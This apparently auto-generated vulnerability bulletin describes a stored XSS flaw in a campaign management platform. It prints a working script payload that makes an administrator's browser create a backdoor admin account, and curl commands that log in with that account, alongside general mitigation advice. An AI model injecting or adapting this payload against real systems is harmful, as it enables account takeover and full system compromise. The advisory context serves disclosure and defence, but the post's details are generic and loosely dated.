Listen to this Post
How the mentioned CVE works
This stored Cross-Site Scripting (XSS) vulnerability exists in the campaign and template management components. An authenticated attacker with lower-level ‘campaigns:manage’ permissions can inject malicious JavaScript payloads into the HTML content of newsletters or templates. The platform fails to properly sanitize or escape user input in these fields. When a Super Admin user reviews the malicious content by clicking ‘Preview,’ the JavaScript executes within the admin’s browser session. Crucially, the attack also works via the public ‘Archive’ feature. If the attacker enables archiving for the malicious campaign, a direct link is generated. Simply visiting this archive link triggers the XSS automatically, requiring no interaction from the admin victim. The executing script, leveraging the admin’s authenticated session and credentials, can perform unauthorized API requests. A common payload automates a POST request to the platform’s user creation API endpoint. This forges a new administrative user account with full system privileges, controlled by the attacker. The attacker can then log in with these backdoor credentials, achieving a complete account and system takeover, bypassing all intended permission controls.
dailycve form
Platform: Campaign Management Platform
Version: ≤ 5.1.0
Vulnerability: Stored XSS
Severity: Critical
date: 2022-01-15
Prediction: 2022-01-31
What Undercode Say
Login as the created backdoor admin curl -X POST "http://localhost:9000/admin/login" \ -d "username=backdoor&password=Hacked123" \ -c cookies.txt -L Verify super admin access curl -b cookies.txt "http://localhost:9000/api/users"
// Payload to create a backdoor admin account
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
username: 'backdoor',
email: '[email protected]',
name: 'Backdoor Admin',
password: 'Hacked123',
type: 'user',
status: 'enabled',
userRoleId: 1,
user_role_id: 1
})
});
</script>
How Exploit:
Preview Attack: Attacker lures a Super Admin to preview a malicious campaign draft.
Archive Link Attack: Attacker shares a direct public archive link; visit triggers exploit.
Protection from this CVE
Implement strict input sanitization.
Apply context-aware output encoding.
Enforce a strong Content Security Policy.
Review and minimize user permissions.
Impact
Full administrative account takeover.
Unauthorized data access/exfiltration.
Complete system compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
